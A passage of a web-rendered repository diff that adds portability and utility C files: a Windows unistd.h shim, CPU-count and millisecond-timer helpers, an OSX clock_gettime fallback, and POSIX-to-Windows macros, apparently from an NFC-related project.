* along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @file unistd.h
|
||||||
|
* @brief This file intended to serve as a drop-in replacement for unistd.h on Windows
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef _UNISTD_H_
|
||||||
|
#define _UNISTD_H_
|
||||||
|
|
||||||
|
#include "windows.h"
|
||||||
|
#include "getopt.h"
|
||||||
|
|
||||||
|
#endif /* _UNISTD_H_ */
|
||||||
|
|
||||||
36
src/util.c
Normal file
36
src/util.c
Normal file
@ -0,0 +1,36 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// utilities
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#include "util.h"
|
||||||
|
#include <stdlib.h>
|
||||||
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include <sysinfoapi.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define MAX_BIN_BREAK_LENGTH (3072+384+1)
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
#include <unistd.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// determine number of logical CPU cores (use for multithreaded functions)
|
||||||
|
|
||||||
|
extern int num_CPUs(void) {
|
||||||
|
#ifdef _WIN32
|
||||||
|
SYSTEM_INFO sysinfo;
|
||||||
|
GetSystemInfo(&sysinfo);
|
||||||
|
return sysinfo.dwNumberOfProcessors;
|
||||||
|
#else
|
||||||
|
return sysconf(_SC_NPROCESSORS_ONLN);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
23
src/util.h
Normal file
23
src/util.h
Normal file
@ -0,0 +1,23 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// utilities
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#ifndef UTIL_H__
|
||||||
|
#define UTIL_H__
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <stdbool.h>
|
||||||
|
#include <stddef.h>
|
||||||
|
|
||||||
|
#define MIN(a, b) (((a) < (b)) ? (a) : (b))
|
||||||
|
#define MAX(a, b) (((a) > (b)) ? (a) : (b))
|
||||||
|
|
||||||
|
extern int num_CPUs(void); // number of logical CPUs
|
||||||
|
|
||||||
|
#endif // UTIL_H__
|
||||||
125
src/util_posix.c
Normal file
125
src/util_posix.c
Normal file
@ -0,0 +1,125 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// utilities requiring Posix library functions
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#if !defined(_WIN32)
|
||||||
|
#define _POSIX_C_SOURCE 199309L // need nanosleep()
|
||||||
|
#else
|
||||||
|
#include <windows.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/timeb.h>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "util_posix.h"
|
||||||
|
#include <stdint.h>
|
||||||
|
#include <time.h>
|
||||||
|
|
||||||
|
|
||||||
|
// Timer functions
|
||||||
|
#if !defined (_WIN32)
|
||||||
|
#include <errno.h>
|
||||||
|
|
||||||
|
static void nsleep(uint64_t n) {
|
||||||
|
struct timespec timeout;
|
||||||
|
timeout.tv_sec = n / 1000000000;
|
||||||
|
timeout.tv_nsec = n % 1000000000;
|
||||||
|
while (nanosleep(&timeout, &timeout) && errno == EINTR);
|
||||||
|
}
|
||||||
|
|
||||||
|
void msleep(uint32_t n) {
|
||||||
|
nsleep(1000000 * (uint64_t) n);
|
||||||
|
}
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
#ifdef __APPLE__
|
||||||
|
|
||||||
|
#ifndef CLOCK_MONOTONIC
|
||||||
|
#define CLOCK_MONOTONIC (1)
|
||||||
|
#endif
|
||||||
|
#ifndef CLOCK_REALTIME
|
||||||
|
#define CLOCK_REALTIME (2)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <sys/time.h>
|
||||||
|
#include <mach/clock.h>
|
||||||
|
#include <mach/mach.h>
|
||||||
|
#include <mach/mach_time.h>
|
||||||
|
|
||||||
|
/* clock_gettime is not implemented on OSX prior to 10.12 */
|
||||||
|
int _civet_clock_gettime(int clk_id, struct timespec *t);
|
||||||
|
|
||||||
|
int _civet_clock_gettime(int clk_id, struct timespec *t) {
|
||||||
|
memset(t, 0, sizeof (*t));
|
||||||
|
if (clk_id == CLOCK_REALTIME) {
|
||||||
|
struct timeval now;
|
||||||
|
int rv = gettimeofday(&now, NULL);
|
||||||
|
if (rv) {
|
||||||
|
return rv;
|
||||||
|
}
|
||||||
|
t->tv_sec = now.tv_sec;
|
||||||
|
t->tv_nsec = now.tv_usec * 1000;
|
||||||
|
return 0;
|
||||||
|
|
||||||
|
} else if (clk_id == CLOCK_MONOTONIC) {
|
||||||
|
static uint64_t clock_start_time = 0;
|
||||||
|
static mach_timebase_info_data_t timebase_info = {0, 0};
|
||||||
|
|
||||||
|
uint64_t now = mach_absolute_time();
|
||||||
|
|
||||||
|
if (clock_start_time == 0) {
|
||||||
|
mach_timebase_info(&timebase_info);
|
||||||
|
clock_start_time = now;
|
||||||
|
}
|
||||||
|
|
||||||
|
now = (uint64_t) ((double) (now - clock_start_time)
|
||||||
|
* (double) timebase_info.numer
|
||||||
|
/ (double) timebase_info.denom);
|
||||||
|
|
||||||
|
t->tv_sec = now / 1000000000;
|
||||||
|
t->tv_nsec = now % 1000000000;
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
return -1; // EINVAL - Clock ID is unknown
|
||||||
|
}
|
||||||
|
|
||||||
|
/* if clock_gettime is declared, then __CLOCK_AVAILABILITY will be defined */
|
||||||
|
#ifdef __CLOCK_AVAILABILITY
|
||||||
|
/* If we compiled with Mac OSX 10.12 or later, then clock_gettime will be declared
|
||||||
|
* but it may be NULL at runtime. So we need to check before using it. */
|
||||||
|
int _civet_safe_clock_gettime(int clk_id, struct timespec *t);
|
||||||
|
|
||||||
|
int _civet_safe_clock_gettime(int clk_id, struct timespec *t) {
|
||||||
|
if (clock_gettime) {
|
||||||
|
return clock_gettime(clk_id, t);
|
||||||
|
}
|
||||||
|
return _civet_clock_gettime(clk_id, t);
|
||||||
|
}
|
||||||
|
#define clock_gettime _civet_safe_clock_gettime
|
||||||
|
#else
|
||||||
|
#define clock_gettime _civet_clock_gettime
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
|
// a milliseconds timer for performance measurement
|
||||||
|
|
||||||
|
uint64_t msclock() {
|
||||||
|
#if defined(_WIN32)
|
||||||
|
struct _timeb t;
|
||||||
|
_ftime(&t);
|
||||||
|
return 1000 * (uint64_t) t.time + t.millitm;
|
||||||
|
|
||||||
|
#else
|
||||||
|
struct timespec t;
|
||||||
|
clock_gettime(CLOCK_MONOTONIC, &t);
|
||||||
|
return (t.tv_sec * 1000 + t.tv_nsec / 1000000);
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
26
src/util_posix.h
Normal file
26
src/util_posix.h
Normal file
@ -0,0 +1,26 @@
|
|||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// Copyright (C) 2010 iZsh <izsh at fail0verflow.com>
|
||||||
|
//
|
||||||
|
// This code is licensed to you under the terms of the GNU GPL, version 2 or,
|
||||||
|
// at your option, any later version. See the LICENSE.txt file for the text of
|
||||||
|
// the license.
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
// utilities requiring Posix library functions
|
||||||
|
//-----------------------------------------------------------------------------
|
||||||
|
|
||||||
|
#ifndef UTIL_POSIX_H__
|
||||||
|
#define UTIL_POSIX_H__
|
||||||
|
|
||||||
|
#include <stdint.h>
|
||||||
|
|
||||||
|
#ifdef _WIN32
|
||||||
|
#include <windows.h>
|
||||||
|
#define sleep(n) Sleep(1000 *(n))
|
||||||
|
#define msleep(n) Sleep((n))
|
||||||
|
#else
|
||||||
|
extern void msleep(uint32_t n); // sleep n milliseconds
|
||||||
|
#endif // _WIN32
|
||||||
|
|
||||||
|
extern uint64_t msclock(); // a milliseconds clock
|
||||||
|
|
||||||
|
#endif
|
||||||
64
src/windows.h
Normal file
64
src/windows.h
Normal file
@ -0,0 +1,64 @@
|
|||||||
|
/*-
|
||||||
|
* Free/Libre Near Field Communication (NFC) library
|
||||||
|
*
|
||||||
|
* Libnfc historical contributors:
|
||||||
|
* Copyright (C) 2009 Roel Verdult
|
||||||
|
* Copyright (C) 2009-2013 Romuald Conty
|
||||||
|
* Copyright (C) 2010-2012 Romain Tartière
|
||||||
|
* Copyright (C) 2010-2013 Philippe Teuwen
|
||||||
|
* Copyright (C) 2012-2013 Ludovic Rousseau
|
||||||
|
* See AUTHORS file for a more comprehensive list of contributors.
|
||||||
|
* Additional contributors of this file:
|
||||||
|
* Copyright (C) 2011 Glenn Ergeerts
|
||||||
|
*
|
||||||
|
* This program is free software: you can redistribute it and/or modify it
|
||||||
|
* under the terms of the GNU Lesser General Public License as published by the
|
||||||
|
* Free Software Foundation, either version 3 of the License, or (at your
|
||||||
|
* option) any later version.
|
||||||
|
*
|
||||||
|
* This program is distributed in the hope that it will be useful, but WITHOUT
|
||||||
|
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
|
||||||
|
* FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for
|
||||||
|
* more details.
|
||||||
|
*
|
||||||
|
* You should have received a copy of the GNU Lesser General Public License
|
||||||
|
* along with this program. If not, see <http://www.gnu.org/licenses/>
|
||||||
|
*/
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @file windows.h
|
||||||
|
* @brief Provide some windows related hacks due to lack of POSIX compat
|
||||||
|
*/
|
||||||
|
|
||||||
|
#ifndef __WINDOWS_H__
|
||||||
|
#define __WINDOWS_H__
|
||||||
|
|
||||||
|
# include <windows.h>
|
||||||
|
# include <winerror.h>
|
||||||
|
# include <err.h>
|
||||||
|
# if defined (__MINGW32__)
|
||||||
|
/*
|
||||||
|
* Cheating here on the snprintf to incorporate the format argument
|
||||||
|
* into the VA_ARGS. Else we get MinGW errors regarding number of arguments
|
||||||
|
* if doing a fixed string with no arguments.
|
||||||
|
*/
|
||||||
|
# define snprintf(S, n, ...) sprintf(S, __VA_ARGS__)
|
||||||
|
# define pipe(fds) _pipe(fds, 5000, _O_BINARY)
|
||||||
|
# define ETIMEDOUT WSAETIMEDOUT
|
||||||
|
# define ENOTSUP WSAEOPNOTSUPP
|
||||||
|
# define ECONNABORTED WSAECONNABORTED
|
||||||
|
# else
|
||||||
|
#if !defined(_MSC_VER) || (_MSC_VER < 1910) // VS2017 don't like snprintf macro
|
||||||
|
# define snprintf sprintf_s
|
||||||
|
#endif
|
||||||
|
# define strdup _strdup
|
||||||
|
# endif
|
||||||
|
|
||||||
|
/*
|
||||||
|
* setenv and unsetenv are not Windows compliant nor implemented in MinGW.
|
||||||
|
* These declarations get rid of the "implicit declaration warning."
|
||||||
|
*/
|
||||||
|
int setenv(const char *name, const char *value, int overwrite);
|
||||||
|
void unsetenv(const char *name);
|
||||||
|
|
||||||
|
#endif
|
||||||
Loading…
x
Reference in New Issue
Block a user